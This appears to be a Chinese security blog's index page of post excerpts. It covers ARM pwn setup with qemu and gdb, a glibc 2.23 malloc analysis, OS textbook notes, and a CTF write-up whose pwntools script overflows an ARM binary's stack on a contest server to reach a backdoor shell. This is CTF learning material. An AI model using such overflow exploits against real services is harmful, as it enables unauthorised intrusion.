ARMPWN入门
ARMPWN入门环境搭建
安装ARM软件包
12sudo apt-get install gcc-arm-linux-gnueabisudo apt-get install gcc-aarch64-linux-gnu
安装qume
1sudo apt-get install qemu-user qemu-system
安装gdb-multiarch
1sudo apt-get install gdb-multiarch
ubuntu编译arm架构程序并用qemu执行1234#编译arm-linux-gcc -g easyarm.c -o eastgets#qemu执行 动态链接程序,需要指定libc的位置qemu-arm -L /usr/arm-linux-gnueabihf/ ./pwn
qemu调试arm用户态程序1234567891011# 使用qemu-arm将程序运行起来,并指定一个端口用于连接gdbqemu-arm -g xxx ./arm-binqemu-arm -L ./libc ./arm-bin(-L 参数可以指定libc的路径 可选)# 使用gd ...
GLIBC2.23内存源码分析
写在前面大部分的分析都写在了注释里,参考了一些师傅的博客和CTFwiki
概述malloc_fastbin:
malloc函数执行时,如果size在fastbin范围内,且fastbin内有合适的chunk,直接返回,否则去unsorted
malloc_small_bin:
malloc函数执行时,如果size在smallbin范围内,且smallbin内有合适的chunk,直接返回,否则去unsorted
size在largebin,consolidate合并,然后去unsorted
malloc_unsorted_bin:
size在small_bin范围内,且存在chunk时last_remainder且size大于nb,直接切割然后返回,如果不是last_remainder,如果unsorted_bin里的chunk在small范围内,先放入small_bin,然后再切割取出,剩余的部分作为last_remainder放回unsorted。如果size再large范围内,先放入large,然后再切割取出(合适直接取出),剩余的部分作为last_remainder放回u ...
程序员的自我修养chapter1
简介
计算机的硬件最为核心的三部分是:CPU,内存和I/O控制芯片
早期计算机由于需求不高,所以CPU和内存以及各种外设都是连接在一条总线上的,后来由于CPU的核心频率提升,导致内存已经无法跟上CPU的速度了,所以出现了包含南北桥的芯片,北桥处理高速设备和CPU,南桥处理低速设备。
计算机发展到一定程度后,摩尔定律就不再适用,那是因为在制造CPU方面已经达到了人类的物理极限,在频率上CPU短期内是没有提高空间了,基本都在4Ghz以下,所以人们采用了多核CPU来提高上线,也就是__SMP(多核多处理器)__。
这里引用一句话“计算机科学领域的任何问题都可以通过增加一个间接的中间层来解决”。计算机中的每个层次都需要通信,既然通信那就必然要存在一个通信协议,我们一般将其称之为接口。
CPU的资源十分昂贵,那么我们要做的当然就是不能让CPU闲着,从多道程序到分时系统再到多任务系统,都是人们压榨CPU的方法的升级。
不同的计算机硬件是有可能不同的,如果程序员们,要针对不同计算机的硬件来进行编程,那么程序员的应该会成为稀缺物种吧,这是我们不希望看到的,所以针对不同的硬件,一般开 ...
Dest0g3迎新赛wp及其复现
写在前面:由于这段时间比较忙,本人并未做全部题目,只写了部分,后面的题目有时间会补上的
ez_aarch一道arm栈溢出,存在后门:
1234567891011from pwn import *context.log_level = 'debug'def pwn(): p = remote("node4.buuoj.cn",28172) p.recvuntil(b'Please leave your name:') p.timeout = 0.5 pl1 = b'a'*(0x28) + b'\x3c' p.send(pl1) p.interactive()pwn()
ez_pwn存在数组越界漏洞,覆盖栈上数字下标变量即可:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071 ...